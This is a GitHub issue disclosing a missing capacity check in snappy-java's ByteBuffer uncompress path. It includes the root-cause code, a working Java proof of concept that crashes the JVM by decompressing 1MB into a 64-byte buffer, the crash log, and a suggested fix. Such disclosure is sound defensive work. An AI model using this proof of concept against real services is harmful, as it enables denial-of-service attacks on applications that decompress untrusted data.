Skip to content

Off heap OOB Write in ByteBuffer Uncompress #728

Description

@August829

Missing Capacity Check in Snappy.uncompress(ByteBuffer, ByteBuffer)

Affected: org.xerial:snappy-java 1.1.10.8 (and all prior versions sharing this code path)
Severity: High (CVSS 3.1: 7.5, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
CWE: CWE-787 (Out-of-bounds Write)

Overview

I was auditing the ByteBuffer decompression path in snappy-java and noticed that Snappy.uncompress(ByteBuffer, ByteBuffer) never checks whether the destination buffer is large enough before writing into it. The decompressed size comes straight from the compressed input's own length prefix — fully attacker-controlled — and the native layer just writes that many bytes into the destination regardless of its actual capacity. A valid, well-formed Snappy blob that decompresses to more bytes than the destination buffer holds writes past the end of the off-heap allocation and crashes the JVM with a SIGSEGV.

Interestingly, the sibling API BitShuffle.shuffle(ByteBuffer, ByteBuffer) already does the equivalent capacity check before calling native code — this path just doesn't have one. The method's Javadoc suggests calling isValidCompressedBuffer first, but that only checks stream well-formedness, not whether the output fits the destination.

Root Cause

// Snappy.java:561-583
public static int uncompress(ByteBuffer compressed, ByteBuffer uncompressed)
        throws IOException
{
    if (!compressed.isDirect()) { ... }
    if (!uncompressed.isDirect()) { ... }

    int cPos = compressed.position();
    int cLen = compressed.remaining();
    int uPos = uncompressed.position();

    // no check that uncompressed.remaining() >= decompressed size
    int decompressedSize = impl.rawUncompress(compressed, cPos, cLen, uncompressed, uPos);
    uncompressed.limit(uPos + decompressedSize);

    return decompressedSize;
}

On the native side, SnappyNative.cpp:144-163 reads the declared uncompressed length from the compressed stream via snappy::GetUncompressedLength(), then calls snappy::RawUncompress() which writes that many bytes starting at decompressedBuffer + dpos — no capacity parameter exists anywhere in this path.

Reproduction

Environment: macOS (Darwin 25.6.0, arm64), OpenJDK Zulu 25.28+85-CA, snappy-java 1.1.10.8 built from source using the unmodified prebuilt native library shipped in the source tree at src/main/resources/org/xerial/snappy/native/Mac/aarch64/libsnappyjava.dylib.

I built the Java sources with javac, copied src/main/resources/org/xerial/snappy/native/ and src/main/resources/org/xerial/snappy/VERSION onto the classpath, then ran:

import org.xerial.snappy.Snappy;
import java.nio.ByteBuffer;

public class Finding01_UncompressOob {
    public static void main(String[] args) throws Exception {
        byte[] bigData = new byte[1024 * 1024];
        java.util.Arrays.fill(bigData, (byte) 'A');
        byte[] compressed = new byte[Snappy.maxCompressedLength(bigData.length)];
        int cLen = Snappy.rawCompress(bigData, 0, bigData.length, compressed, 0);

        ByteBuffer compressedBuf = ByteBuffer.allocateDirect(cLen);
        compressedBuf.put(compressed, 0, cLen);
        compressedBuf.flip();

        // 64-byte destination for a 1MB decompressed payload
        ByteBuffer undersized = ByteBuffer.allocateDirect(64);

        System.out.println("compressed=" + cLen + " declared uncompressed=" +
            Snappy.uncompressedLength(compressedBuf.duplicate()));
        System.out.println("destination capacity=" + undersized.capacity());

        int n = Snappy.uncompress(compressedBuf, undersized);
        System.out.println("UNEXPECTED: returned normally, n=" + n);
    }
}

Result

compressed length=49187 declared uncompressed=1048576
destination capacity=64
calling Snappy.uncompress() with 1MB payload into a 64-byte direct buffer...
#
# A fatal error has been detected by the Java Runtime Environment:
#
#  SIGSEGV (0xb) at pc=0x000000018883d508, pid=85520, tid=26627
#
# Problematic frame:
# C  [libsystem_platform.dylib+0x3508]  _platform_memmove+0x1a8

Process exits with code 134 (SIGABRT after the fatal-error handler). The crash lands in memmove, consistent with RawUncompress writing 1MB into a 64-byte buffer.

Impact

Any application that decompresses attacker-supplied Snappy bytes through this ByteBuffer overload — a common pattern in zero-copy data pipelines (Arrow, Parquet, Netty-style integrations) — can be crashed with a single well-formed compressed blob. This is not memory corruption exploitation or code execution; the confirmed impact is a reliable JVM process crash (denial of service).

Suggested Fix

int requiredSize = uncompressedLength(compressed);
if (uncompressed.remaining() < requiredSize) {
    throw new IllegalArgumentException("not enough space for output: need " + requiredSize
            + " bytes, but only " + uncompressed.remaining() + " remaining");
}

Add this check before the impl.rawUncompress() call, matching the pattern already used in BitShuffle.shuffle/unshuffle.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions